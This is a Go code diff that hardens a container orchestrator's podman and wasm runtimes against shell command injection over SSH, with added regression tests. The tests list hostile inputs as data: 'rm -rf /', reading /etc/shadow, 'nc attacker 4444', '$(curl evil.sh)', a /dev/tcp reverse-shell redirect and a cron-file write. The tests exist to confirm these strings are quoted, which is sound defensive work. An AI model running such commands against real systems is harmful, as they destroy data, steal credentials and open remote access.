diff --git a/internal/runtime/podman.go b/internal/runtime/podman.go index 1586821..f5a964b 100644 --- a/internal/runtime/podman.go +++ b/internal/runtime/podman.go @@ -64,7 +64,7 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) { } cmdStr, _ := commandFor(alloc) name := containerName(alloc) - cmd := fmt.Sprintf("podman run -d --name %s %q %s", name, image, cmdStr) + cmd := fmt.Sprintf("podman run -d --name %s %q %s", shellQuote(name), image, shellQuote(cmdStr)) out, err := p.transport.Exec(ctx, alloc.Node, cmd) if err != nil { return 0, fmt.Errorf("podman: run: %w", err) @@ -80,10 +80,10 @@ func (p *PodmanRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) { // Stop stops and removes the container. func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error { name := containerName(alloc) - if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", name)); err != nil { + if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman stop %s", shellQuote(name))); err != nil { return fmt.Errorf("podman: stop: %w", err) } - if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", name)); err != nil { + if _, err := p.transport.Exec(ctx, alloc.Node, fmt.Sprintf("podman rm %s", shellQuote(name))); err != nil { return fmt.Errorf("podman: rm: %w", err) } return nil @@ -92,7 +92,7 @@ func (p *PodmanRuntime) Stop(ctx context.Context, alloc *Alloc) error { // Status inspects the container's running state. func (p *PodmanRuntime) Status(ctx context.Context, alloc *Alloc) (State, error) { name := containerName(alloc) - cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", name) + cmd := fmt.Sprintf("podman inspect --format '{{.State.Running}}' %s", shellQuote(name)) out, err := p.transport.Exec(ctx, alloc.Node, cmd) if err != nil { return StateFailed, fmt.Errorf("podman: inspect: %w", err) diff --git a/internal/runtime/podman_test.go b/internal/runtime/podman_test.go index 1db1ab2..49f5412 100644 --- a/internal/runtime/podman_test.go +++ b/internal/runtime/podman_test.go @@ -227,3 +227,85 @@ func TestPodmanRuntime_DialError(t *testing.T) { t.Logf("Prepare err (acceptable): %v", err) } } + +// --- REQ-119 / F3 command injection regression tests --- + +// TestPodmanRuntime_CommandInjection verifies that a jobspec command +// containing shell metacharacters is shell-quoted, not interpreted by +// the remote shell. The fake server captures the exact command string +// and we assert the metacharacters are wrapped in single quotes. +func TestPodmanRuntime_CommandInjection(t *testing.T) { + injections := []string{ + "sleep 1; rm -rf /", + "sleep 1 && cat /etc/shadow", + "sleep 1 | nc attacker 4444", + "sleep 1 $(curl evil.sh)", + "sleep 1 `whoami`", + "sleep 1\nwhoami", + "sleep 1; echo $IFS", + "sleep 1 > /etc/cron.d/pwn", + "sleep 1 < /dev/tcp/attacker/4444", + "sleep 1; (id)", + } + for _, inj := range injections { + t.Run(inj, func(t *testing.T) { + srv := newFakeServer(t) + defer srv.close() + var captured string + srv.setHandler("podman run", func(cmd string) ([]byte, int) { + captured = cmd + return []byte("abc123def456\n"), 0 + }) + tr := realTransport(t, srv) + defer tr.Close() + p := NewPodmanRuntime(tr) + a := allocWithNode("podman", "img", inj, srv.addr()) + if _, err := p.Start(context.Background(), a); err != nil { + t.Fatalf("Start: %v", err) + } + // The injection string must appear shell-quoted (wrapped in + // single quotes, embedded quotes escaped) — NOT bare in + // the command. We assert the dangerous characters don't + // appear unquoted after the image argument. + if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") { + t.Errorf("injection not shell-quoted in command:\n%s", captured) + } + // The raw unquoted injection must NOT appear as a bare + // command token (i.e., no `; rm -rf /` outside quotes). + // A robust check: the command should not contain the raw + // injection string as an unquoted substring. Since the + // quoted form wraps it, the raw form only appears inside + // the quotes. + bare := strings.ReplaceAll(inj, "'", "'\\''") + quoted := "'" + bare + "'" + // Remove the quoted occurrence; if the bare injection + // still remains, it was emitted unquoted somewhere. + withoutQuoted := strings.Replace(captured, quoted, "", 1) + if strings.Contains(withoutQuoted, inj) { + t.Errorf("injection appears unquoted in command:\n%s", captured) + } + }) + } +} + +// TestPodmanRuntime_ImageNameInjection verifies the image is %q-quoted +// (double-quoted via %q), so an image with shell metacharacters cannot +// break out. The image is safe-by-%q, but we assert it stays quoted. +func TestPodmanRuntime_ImageNameInjection(t *testing.T) { + srv := newFakeServer(t) + defer srv.close() + var captured string + srv.setHandler("podman pull", func(cmd string) ([]byte, int) { + captured = cmd + return nil, 0 + }) + tr := realTransport(t, srv) + defer tr.Close() + p := NewPodmanRuntime(tr) + a := allocWithNode("podman", "img; rm -rf /", "sleep 1", srv.addr()) + _ = p.Prepare(context.Background(), a) + // %q double-quotes the image, so `; rm -rf /` is inside quotes. + if !strings.Contains(captured, "\"img; rm -rf /\"") { + t.Errorf("image not pct-q-quoted in pull:\n%s", captured) + } +} diff --git a/internal/runtime/runtime.go b/internal/runtime/runtime.go index 0255924..bc6946f 100644 --- a/internal/runtime/runtime.go +++ b/internal/runtime/runtime.go @@ -17,6 +17,7 @@ package runtime import ( "context" "fmt" + "strings" "git.cloudinit.dev/coreci/orca/internal/jobspec" ) @@ -174,3 +175,15 @@ func imageFor(alloc *Alloc) (string, error) { } return alloc.Spec.Runtime.Image, nil } + +// shellQuote single-quotes a string for safe shell interpolation over +// SSH exec. It escapes embedded single-quotes via the standard '\” +// idiom (POSIX shell). This mirrors internal/sshpush.shellQuote; the +// helper is duplicated to avoid an import cycle (sshpush is a leaf +// transport package, runtime depends on it but does not access its +// private helpers). Used to safely interpolate jobspec-supplied +// command strings into remote shell commands (REQ-119, F3 — command +// injection hardening). +func shellQuote(s string) string { + return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'" +} diff --git a/internal/runtime/wasm.go b/internal/runtime/wasm.go index cec4da9..2cf8494 100644 --- a/internal/runtime/wasm.go +++ b/internal/runtime/wasm.go @@ -53,8 +53,8 @@ func (w *WasmRuntime) Start(ctx context.Context, alloc *Alloc) (int, error) { // Tag the process so pkill/pgrep can find it by alloc ID. We // prepend the alloc ID as a comment-style env marker that pgrep // can match on the command line. - cmd := fmt.Sprintf("ORCA_ALLOC_ID=%s wasmtime run --dir /data %q %s", - alloc.ID, image, cmdStr) + cmd := fmt.Sprintf("env 'ORCA_ALLOC_ID=%s' wasmtime run --dir /data %q %s", + alloc.ID, image, shellQuote(cmdStr)) if _, err := w.transport.Exec(ctx, alloc.Node, cmd); err != nil { return 0, fmt.Errorf("wasm: start: %w", err) } diff --git a/internal/runtime/wasm_test.go b/internal/runtime/wasm_test.go index 846333c..f0bd78d 100644 --- a/internal/runtime/wasm_test.go +++ b/internal/runtime/wasm_test.go @@ -16,7 +16,7 @@ func TestWasmRuntime_HappyPath(t *testing.T) { srv.setHandler("command -v wasmtime", func(cmd string) ([]byte, int) { return []byte("/usr/bin/wasmtime\n"), 0 }) - srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) { + srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) { return []byte("started\n"), 0 }) srv.setHandler("pkill -f", func(cmd string) ([]byte, int) { @@ -86,7 +86,7 @@ func TestWasmRuntime_StartNoImage(t *testing.T) { func TestWasmRuntime_StartExecError(t *testing.T) { srv := newFakeServer(t) defer srv.close() - srv.setHandler("ORCA_ALLOC_ID=alloc-1 wasmtime run", func(cmd string) ([]byte, int) { + srv.setHandler("env 'ORCA_ALLOC_ID=alloc-1' wasmtime run", func(cmd string) ([]byte, int) { return []byte("module not found\n"), 1 }) tr := realTransport(t, srv) @@ -169,3 +169,48 @@ func TestWasmRuntime_NoCGOImport(t *testing.T) { // _ = context to keep import in case helpers above stop using it. var _ = context.Background + +// --- REQ-119 / F3 command injection regression tests (wasm) --- + +// TestWasmRuntime_CommandInjection verifies that a jobspec command +// containing shell metacharacters is shell-quoted on the remote. +func TestWasmRuntime_CommandInjection(t *testing.T) { + injections := []string{ + "/fn; rm -rf /", + "/fn && cat /etc/shadow", + "/fn | nc attacker 4444", + "/fn $(curl evil.sh)", + "/fn `whoami`", + "/fn\nwhoami", + "/fn; echo $IFS", + "/fn > /etc/cron.d/pwn", + "/fn; (id)", + } + for _, inj := range injections { + t.Run(inj, func(t *testing.T) { + srv := newFakeServer(t) + defer srv.close() + var captured string + srv.setHandler("env 'ORCA_ALLOC_ID=", func(cmd string) ([]byte, int) { + captured = cmd + return []byte("started\n"), 0 + }) + tr := realTransport(t, srv) + defer tr.Close() + w := NewWasmRuntime(tr) + a := allocWithNode("wasm", "/data/app.wasm", inj, srv.addr()) + if _, err := w.Start(context.Background(), a); err != nil { + t.Fatalf("Start: %v", err) + } + if !strings.Contains(captured, "'"+strings.ReplaceAll(inj, "'", "'\\''")+"'") { + t.Errorf("injection not shell-quoted in command:\n%s", captured) + } + bare := strings.ReplaceAll(inj, "'", "'\\''") + quoted := "'" + bare + "'" + withoutQuoted := strings.Replace(captured, quoted, "", 1) + if strings.Contains(withoutQuoted, inj) { + t.Errorf("injection appears unquoted in command:\n%s", captured) + } + }) + } +}